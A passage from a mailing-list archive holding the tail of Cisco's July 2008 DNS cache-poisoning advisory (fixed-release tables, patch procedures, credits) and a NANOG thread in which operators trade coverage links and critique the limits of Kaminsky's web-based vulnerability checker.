| Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YE | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YF | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YG | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YH | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2YJ | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.2YK | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2YL | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2YM | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2YN | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.2(18) | | | migrate to | SXF15; | | 12.2YO | any release | Available | | | in 12.2SY | on | | | | 08-AUG-08 | |------------+-------------+-------------| | 12.2YP | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YQ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YR | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YS | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2YT | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2YU | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2YV | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.2YW | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2YZ | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2ZA | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2ZB | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.2ZC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2ZD | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2ZE | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2ZF | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.2ZG | first fixed | | | | in 12.4T | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.2ZH | first fixed | | | | in 12.4 | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.2ZJ | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.2ZL | first fixed | | | | in 12.4 | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | 12.2ZP | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2ZU | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2ZY | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.2ZYA | Not | | | | Vulnerable | | |------------+-------------+-------------| | Affected | First Fixed | Recommended | | 12.3-Based | Release | Release | | Releases | | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3 | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3B | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.3BC | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3BW | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.3EU | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.3JA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.3JEA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.3JEB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.3JEC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.3JK | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.3JL | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.3JX | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3T | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.3TPC | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | 12.3VA | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.3XA | first fixed | | | | in 12.4 | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3XB | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.3XC | first fixed | | | | in 12.4 | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3XD | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.3XE | first fixed | | | | in 12.4 | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3XF | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.3XG | first fixed | | | | in 12.4T | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3XH | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.3XI | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | | | 12.3(14) | | | | YX12 | | | Vulnerable; | | | 12.3XJ | first fixed | 12.4(20)T; | | | in 12.3YX | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3XK | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3XQ | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.3XR | first fixed | | | | in 12.4 | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(19a) | | 12.3XS | first fixed | | | | in 12.4 | 12.4(19b) | |------------+-------------+-------------| | 12.3XU | Not | | | | Vulnerable | | |------------+-------------+-------------| | | | 12.3(14) | | | | YX12 | | | Vulnerable; | | | 12.3XW | first fixed | 12.4(20)T; | | | in 12.3YX | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | 12.3XY | Not | | | | Vulnerable | | |------------+-------------+-------------| | | | 12.4(19a) | | | | | | | Vulnerable; | 12.4(19b) | | 12.3YA | first fixed | | | | in 12.4 | 12.4(20)T; | | | | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.3YD | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | | 12.3(14) | | | | YX12 | | | Vulnerable; | | | 12.3YF | first fixed | 12.4(20)T; | | | in 12.3YX | Available | | | | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.3YG | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.3YH | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.3YI | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | 12.3YJ | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.3YK | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Releases | | | | prior to | | | | 12.3(14) | | | | YM12 are | | | | vulnerable, | 12.3(14) | | 12.3YM | release | YM12 | | | 12.3(14) | | | | YM12 and | | | | later are | | | | not | | | | vulnerable; | | |------------+-------------+-------------| | 12.3YQ | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.3YS | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.3YT | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | | Vulnerable; | | | 12.3YU | first fixed | | | | in 12.4XB | | |------------+-------------+-------------| | 12.3YX | 12.3(14) | 12.3(14) | | | YX12 | YX12 | |------------+-------------+-------------| | 12.3YZ | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | Affected | First Fixed | Recommended | | 12.4-Based | Release | Release | | Releases | | | |------------+-------------+-------------| | | 12.4(18b) | | | | | | | | 12.4(19a) | 12.4(19a) | | 12.4 | | | | | 12.4(19b) | 12.4(19b) | | | | | | | 12.4(21) | | |------------+-------------+-------------| | 12.4JA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.4JK | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.4JMA | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.4JMB | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.4JMC | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.4JX | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.4MD | 12.4(15)MD | 12.4(15)MD | |------------+-------------+-------------| | 12.4MR | 12.4(19)MR | 12.4(19)MR | |------------+-------------+-------------| | 12.4SW | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | | 12.4(15)T6 | | | | | 12.4(20)T; | | 12.4T | 12.4(20)T; | Available | | | Available | on | | | on | 11-JUL-08 | | | 11-JUL-08 | | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.4XA | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | 12.4XB | 12.4(2)XB10 | | |------------+-------------+-------------| | 12.4XC | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | | 12.4(4) | 12.4(20)T; | | | XD11; | Available | | 12.4XD | Available | on | | | on | 11-JUL-08 | | | 31-JUL-08 | | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.4XE | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | 12.4XF | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.4XG | Not | | | | Vulnerable | | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.4XJ | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | |------------+-------------+-------------| | 12.4XK | Not | | | | Vulnerable | | |------------+-------------+-------------| | 12.4XL | 12.4(15)XL2 | 12.4(15)XL2 | |------------+-------------+-------------| | 12.4XM | 12.4(15)XM1 | 12.4(15)XM1 | |------------+-------------+-------------| | 12.4XN | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | 12.4XQ | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | 12.4XT | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | 12.4XV | Vulnerable; | | | | contact TAC | | |------------+-------------+-------------| | 12.4XW | 12.4(11)XW8 | 12.4(11)XW6 | |------------+-------------+-------------| | 12.4XY | 12.4(15)XY3 | | |------------+-------------+-------------| | | Vulnerable; | 12.4(20)T; | | 12.4XZ | first fixed | Available | | | in 12.4T | on | | | | 11-JUL-08 | +----------------------------------------+ Cisco Network Registrar +---------------------- +---------------------------------------+ | Affected | | | Release | First Fixed Release | | Train | | |--------------+------------------------| | 6.1.x | Contact TAC | |--------------+------------------------| | | 6.3.1.1 patch; | | 6.3.x | available mid-July | | | 2008 | |--------------+------------------------| | 7.0.x | 7.0.1; available in | | | mid-July 2008 | +---------------------------------------+ Cisco Network Registrar software is available for download at: http://www.cisco.com/pcgi-bin/Software/Tablebuild/tablebuild.pl/nr-eval Cisco Application and Content Networking System +---------------------------------------------- This issue is fixed in version 5.5.11 of Cisco ACNS software. This release will be available for download from www.cisco.com in late July 2008. Cisco ACNS 5.5 software is available for download at: http://www.cisco.com/pcgi-bin/tablebuild.pl/acns55 Workarounds =========== There are no workarounds. Additional information about identification and mitigation of attacks against DNS is in the Cisco Applied Intelligence white paper "DNS Best Practices, Network Protections, and Attack Identification," available at http://www.cisco.com/web/about/security/intelligence/dns-bcp.html. Obtaining Fixed Software ======================== Cisco has released free software updates that address these vulnerabilities. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/products/prod_warranties_item09186a008088e31f.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact psirt at cisco.com or security-alert at cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third Party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac at cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional TAC contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability described in this advisory. Although DNS cache poisoning attacks are not new, security researcher Dan Kaminsky of IOActive recently presented a technique that makes DNS cache poisoning attacks more likely to succeed. Cisco would like to thank Dan Kaminsky for notifying vendors about his findings. Note that vulnerability information for Cisco IOS Software is being provided in this advisory outside of the announced publication schedule for Cisco IOS Software described at http://www.cisco.com/go/psirt due to industry-wide disclosure of the vulnerability. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at http://www.cisco.com/warp/public/707/cisco-sa-20080708-dns.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce at cisco.com * first-teams at first.org * bugtraq at securityfocus.com * vulnwatch at vulnwatch.org * cisco at spot.colorado.edu * cisco-nsp at puck.nether.net * full-disclosure at lists.grok.org.uk * comp.dcom.sys.cisco at newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +-----------------------------------------------------------+ | Revision 1.0 | 2008-July-08 | Initial public release | +-----------------------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. +-------------------------------------------------------------------- Copyright 2007-2008 Cisco Systems, Inc. All rights reserved. +-------------------------------------------------------------------- Updated: Jul 08, 2008 Document ID: 107064 +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkhztUIACgkQ86n/Gc8U/uCAgACfVRRoJO4w4defnpwbNlfgBm4t 2SMAnjKCKECHtsjN9umqqPrPd2DW4IcC =XGZw -----END PGP SIGNATURE----- From gtb at slac.stanford.edu Tue Jul 8 15:48:57 2008 From: gtb at slac.stanford.edu (Buhrmaster, Gary) Date: Tue, 8 Jul 2008 13:48:57 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning Message-ID: Multiple DNS implementations vulnerable to cache poisoning: http://www.kb.cert.org/vuls/id/800113 (A widely coordinated vendor announcement. As always, check with your vendor(s) for patch status.) Gary From jra at baylink.com Tue Jul 8 18:20:05 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 8 Jul 2008 19:20:05 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: Message-ID: <20080708232005.GA26330@cgi.jachomes.com> On Tue, Jul 08, 2008 at 01:48:57PM -0700, Buhrmaster, Gary wrote: > Multiple DNS implementations vulnerable to cache poisoning: > > http://www.kb.cert.org/vuls/id/800113 > > (A widely coordinated vendor announcement. As always, > check with your vendor(s) for patch status.) Obligatory Slashdot link: http://it.slashdot.org/article.pl?sid=08/07/08/195225 (There's actually some useful data in the comments for a change, or I wouldn't have bothered.) Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From jra at baylink.com Tue Jul 8 18:56:05 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 8 Jul 2008 19:56:05 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080708232005.GA26330@cgi.jachomes.com> References: <20080708232005.GA26330@cgi.jachomes.com> Message-ID: <20080708235605.GC26330@cgi.jachomes.com> On Tue, Jul 08, 2008 at 07:20:05PM -0400, Jay R. Ashworth wrote: > Obligatory Slashdot link: http://it.slashdot.org/article.pl?sid=08/07/08/195225 Additional coverage: http://news.cnet.com/8301-10789_3-9985815-57.html http://news.cnet.com/8301-10789_3-9985826-57.html http://news.cnet.com/8301-10789_3-9985618-57.html http://www.linux.com/feature/141080 http://www.internetnews.com/security/article.php/3757746 http://www.techmeme.com/080708/p137#a080708p137 Y'know, for you to put on the noticeboard for your help desk, for when the spooked herd starts calling. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From shrdlu at deaddrop.org Tue Jul 8 19:12:04 2008 From: shrdlu at deaddrop.org (Lynda) Date: Tue, 08 Jul 2008 17:12:04 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <20080708235605.GC26330@cgi.jachomes.com> References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> Message-ID: <48740254.8030404@deaddrop.org> This is also being covered over on the Defcon Forums. Jeff Moss has said that he'll post the link to the interview that Kaminsky is doing right now, after it's over. Here's the link to the Forum discussion: https://forum.defcon.org/showthread.php?t=9547 The forum link also has a link to Dan's tool, where you can see if your DNS server is vulnerable. -- In April 1951, Galaxy published C.M. Kornbluth's "The Marching Morons". The intervening years have proven Kornbluth right. --Valdis Kletnieks From owen at delong.com Tue Jul 8 19:20:30 2008 From: owen at delong.com (Owen DeLong) Date: Tue, 8 Jul 2008 17:20:30 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <48740254.8030404@deaddrop.org> References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> Message-ID: <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> The tool, unfortunately, only goes after the server it thinks you are using to recurse from the client where you're running your browser. This makes it hard to test servers being used in production environments without GUIs. The tool is not Lynx compatible. Owen On Jul 8, 2008, at 5:12 PM, Lynda wrote: > This is also being covered over on the Defcon Forums. Jeff Moss has > said that he'll post the link to the interview that Kaminsky is > doing right now, after it's over. Here's the link to the Forum > discussion: > > https://forum.defcon.org/showthread.php?t=9547 > > The forum link also has a link to Dan's tool, where you can see if > your DNS server is vulnerable. > > -- > In April 1951, Galaxy published C.M. Kornbluth's "The Marching > Morons". > The intervening years have proven Kornbluth right. > --Valdis Kletnieks From christian at broknrobot.com Tue Jul 8 19:38:56 2008 From: christian at broknrobot.com (Christian Koch) Date: Tue, 8 Jul 2008 20:38:56 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> Message-ID: surely the tool is not focused at a dns operator/admin audience.. On Tue, Jul 8, 2008 at 8:20 PM, Owen DeLong wrote: > The tool, unfortunately, only goes after the server it thinks you are using > to > recurse from the client where you're running your browser. > > This makes it hard to test servers being used in production environments > without GUIs. The tool is not Lynx compatible. > > Owen > > > On Jul 8, 2008, at 5:12 PM, Lynda wrote: > > This is also being covered over on the Defcon Forums. Jeff Moss has said >> that he'll post the link to the interview that Kaminsky is doing right now, >> after it's over. Here's the link to the Forum discussion: >> >> https://forum.defcon.org/showthread.php?t=9547 >> >> The forum link also has a link to Dan's tool, where you can see if your >> DNS server is vulnerable. >> >> -- >> In April 1951, Galaxy published C.M. Kornbluth's "The Marching Morons". >> The intervening years have proven Kornbluth right. >> --Valdis Kletnieks >> > > > -- ^christian$ From shrdlu at deaddrop.org Tue Jul 8 20:26:01 2008 From: shrdlu at deaddrop.org (Lynda) Date: Tue, 08 Jul 2008 18:26:01 -0700 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> Message-ID: <487413A9.5080702@deaddrop.org> Owen DeLong wrote: > The tool, unfortunately, only goes after the server it thinks you are > using to recurse from the client where you're running your browser. > > This makes it hard to test servers being used in production > environments without GUIs. The tool is not Lynx compatible. Figures. It's becoming a pointy-clicky world. I don't like it much, either. > On Jul 8, 2008, at 5:12 PM, Lynda wrote: > >> This is also being covered over on the Defcon Forums. Jeff Moss has >> said that he'll post the link to the interview that Kaminsky is doing >> right now, after it's over. Here's the direct link, for the curious: Audio of Dan's press interview: https://media.blackhat.com/webinars/...conference.mp3 I'll see whether someone can pry the code loose from Dan, rather than having it hidden under a button. As Christian Koch said, the tool isn't really directed at NANOG folk. I'm sure that it could be modified so that it was. I note that BIND has been updated on all your favorite operating systems, which should help some. Still, the updates just barely happened, and then the announcement hit. -- In April 1951, Galaxy published C.M. Kornbluth's "The Marching Morons". The intervening years have proven Kornbluth right. --Valdis Kletnieks From jeff at ocjtech.us Tue Jul 8 20:38:55 2008 From: jeff at ocjtech.us (Jeffrey Ollie) Date: Tue, 8 Jul 2008 20:38:55 -0500 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <487413A9.5080702@deaddrop.org> References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> <487413A9.5080702@deaddrop.org> Message-ID: <935ead450807081838l5e4e63f6me60750eb5e18c4a4@mail.gmail.com> On Tue, Jul 8, 2008 at 8:26 PM, Lynda wrote: > > Audio of Dan's press interview: > > https://media.blackhat.com/webinars/...conference.mp3 Actual URL: https://media.blackhat.com/webinars/blackhat-kaminsky-dns-press-conference.mp3 Jeff From jra at baylink.com Tue Jul 8 20:43:36 2008 From: jra at baylink.com (Jay R. Ashworth) Date: Tue, 8 Jul 2008 21:43:36 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <48740254.8030404@deaddrop.org> References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> Message-ID: <20080709014336.GK26330@cgi.jachomes.com> On Tue, Jul 08, 2008 at 05:12:04PM -0700, Lynda wrote: > The forum link also has a link to Dan's tool, where you can see if your > DNS server is vulnerable. As a /.er noted, running that tool after *accessing it via DNS* may not tell you anything, and I don't know that Kaminsky has himself publically announced the IP address of his test machine. Cheers, -- jra -- Jay R. Ashworth Baylink jra at baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com '87 e24 St Petersburg FL USA http://photo.imageinc.us +1 727 647 1274 Those who cast the vote decide nothing. Those who count the vote decide everything. -- (Joseph Stalin) From mysidia at gmail.com Tue Jul 8 21:22:23 2008 From: mysidia at gmail.com (Jimmy Hess) Date: Tue, 08 Jul 2008 21:22:23 -0500 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> Message-ID: <487420DF.4040706@gmail.com> Christian Koch wrote: > surely the tool is not focused at a dns operator/admin audience.. > I suspect the tool's form might partly be meant to obscure exactly what patterns it is looking for. Kind of how one might release a vulnerability checker in binary form (but with source code intentionally witheld) 5 query samples would not seem to be a sufficient number to compute the probability that the TXIDs and source ports are both independent and random, with stringent confidence intervals, and that there is no sequence predictability (due to use of a PRNG)... More exhaustive tool would operate on tcpdump output or run live with pcap, gather samples of sequences of TXIDs, port numbers, timestamps. And perform tests for independency between TXID and port number, timestamp, and some statistical tests for randomness. > On Tue, Jul 8, 2008 at 8:20 PM, Owen DeLong wrote: > >> The tool, unfortunately, only goes after the server it thinks you are using >> to >> recurse from the client where you're running your browser. >> The very nature of the tool (remote probe by an outside server) also makes it impossible for it you to probe intermediary DNS servers. For example, you might resolve using vulnerable recursive server that forwards all queries to a 'safe' recursive server. The TXIDs generated by the 'vulnerable' server are never seen by the remote web server. >> This makes it hard to test servers being used in production environments >> without GUIs. The tool is not Lynx compatible. >> >> Owen >> -- -J From jfmezei at vaxination.ca Tue Jul 8 23:04:33 2008 From: jfmezei at vaxination.ca (=?ISO-8859-1?Q?Jean-Fran=E7ois_Mezei?=) Date: Wed, 09 Jul 2008 00:04:33 -0400 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <487420DF.4040706@gmail.com> References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> <487420DF.4040706@gmail.com> Message-ID: <487438D1.6020300@vaxination.ca> Re: the tool My DNS server does not serve the outside world. Incoming packets to port 53 are NAT directed to an non-existant IP on the LAN. The tool uses my internet facing IP as my DNS server and tells me I am vulnerable. Since, from the internet, connecting to that IP at port 53 will not get you to a DNS server, I find the tool's conclusion rather without much value. From cmadams at hiwaay.net Tue Jul 8 23:15:00 2008 From: cmadams at hiwaay.net (Chris Adams) Date: Tue, 8 Jul 2008 23:15:00 -0500 Subject: Multiple DNS implementations vulnerable to cache poisoning In-Reply-To: <487438D1.6020300@vaxination.ca> References: <20080708232005.GA26330@cgi.jachomes.com> <20080708235605.GC26330@cgi.jachomes.com> <48740254.8030404@deaddrop.org> <2165D146-C2EA-4716-B55C-71099D78C736@delong.com> <487420DF.4040706@gmail.com> <487438D1.6020300@vaxination.ca> Message-ID: <20080709041500.GA868904@hiwaay.net> Once upon a time, Jean-Fran?ois Mezei said: > The tool uses my internet facing IP as my DNS server and tells me I am > vulnerable. Since, from the internet, connecting to that IP at port 53 > will not get you to a DNS server, I find the tool's conclusion rather > without much value. There are many ways to get your server to look something up other than allowing direct queries. -- Chris Adams Systems and Network Administrator - HiWAAY Internet Services I don't speak for anybody but myself - that's enough trouble. From mct at toren.net Wed Jul 9 00:54:27 2008 From: mct at toren.net (Michael 